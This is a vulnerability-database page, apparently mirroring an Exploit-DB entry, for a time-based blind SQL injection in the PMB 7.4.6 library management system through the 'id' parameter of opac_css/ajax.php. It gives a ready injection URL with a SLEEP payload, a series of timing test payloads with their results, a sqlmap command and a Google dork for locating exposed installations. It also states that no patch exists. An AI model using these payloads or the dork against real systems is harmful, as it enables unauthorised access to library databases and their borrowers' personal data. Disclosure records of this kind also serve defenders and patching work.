PMB 7.4.6 - SQL Injection - exploit.company

vendor:

PMB

by:

str0xo DZ (Walid Ben)

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: PMB

Affected Version From: <= 7.4.6

Affected Version To:

Patch Exists: NO

Related CWE:

CPE: a:sigb:pmb:7.4.6

Metasploit:

Other Scripts:

Platforms Tested:

2023

PMB 7.4.6 – SQL Injection

The PMB software version 7.4.6 is vulnerable to SQL Injection. The vulnerability exists in the 'opac_css/ajax.php' URL endpoint. An attacker can exploit this vulnerability by manipulating the 'id' parameter, allowing them to execute arbitrary SQL queries on the database.

Mitigation:

Upgrade to a version higher than 7.4.6 to fix the SQL Injection vulnerability.

Source

Exploit-DB raw data:

# Exploit Title: PMB 7.4.6 - SQL Injection
# Google Dork: inurl:opac_css
# Date: 2023-01-06
# Exploit Author: str0xo DZ (Walid Ben) https://github.com/Str0xo
# Vendor Homepage: http://www.sigb.net
# Software Link: http://forge.sigb.net/redmine/projects/pmb/files
# Affected versions : <= 7.4.6

-==== Software Description ====-

PMB is a completely free ILS (Integrated Library management System). The domain of software for libraries is almost exclusively occupied by proprietary products.
We are some librarians, users and developers deploring this state of affairs.
 
PMB is based on web technology. This is what we sometimes call a 'web-app'.
PMB requires an HTTP server (such as Apache, but this is not an obligation), the MySQL database and the PHP language.
 
The main functions of PMB are :
 
    * Supporting the UNIMARC format
    * Authorities management (authors, publishers, series, subjects...)
    * Management of loans, holds, borrowers...
    * A user-friendly configuration
    * The ability to import full bibliographic records
    * A user-friendly OPAC integrating a browser
    * Loans management with a module designed to serve even the very small establishments
    * Serials management
    * Simple administration procedures that can be handled easily even by the library staff...

-==== Vulnerability ====-

URL:
    https://localhost/opac_css/ajax.php?categ=storage&datetime=undefined&id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))SHde)&module=ajax&sub=save&token=undefined

Parameter:
    id
	
-==== Vulnerability Details ====-

URL encoded GET input id was set to if(now()=sysdate(),sleep(6),0)

Tests performed:

    if(now()=sysdate(),sleep(15),0) => 15.43
    if(now()=sysdate(),sleep(6),0) => 6.445
    if(now()=sysdate(),sleep(15),0) => 15.421
    if(now()=sysdate(),sleep(3),0) => 3.409
    if(now()=sysdate(),sleep(0),0) => 0.415
    if(now()=sysdate(),sleep(0),0) => 0.413
    if(now()=sysdate(),sleep(6),0) => 6.41

Using SQLMAP :


sqlmap -u "http://localhost/pmb/opac_css/ajax.php?categ=storage&datetime=undefined&id=1&module=ajax&sub=save&token=undefined" -p "id"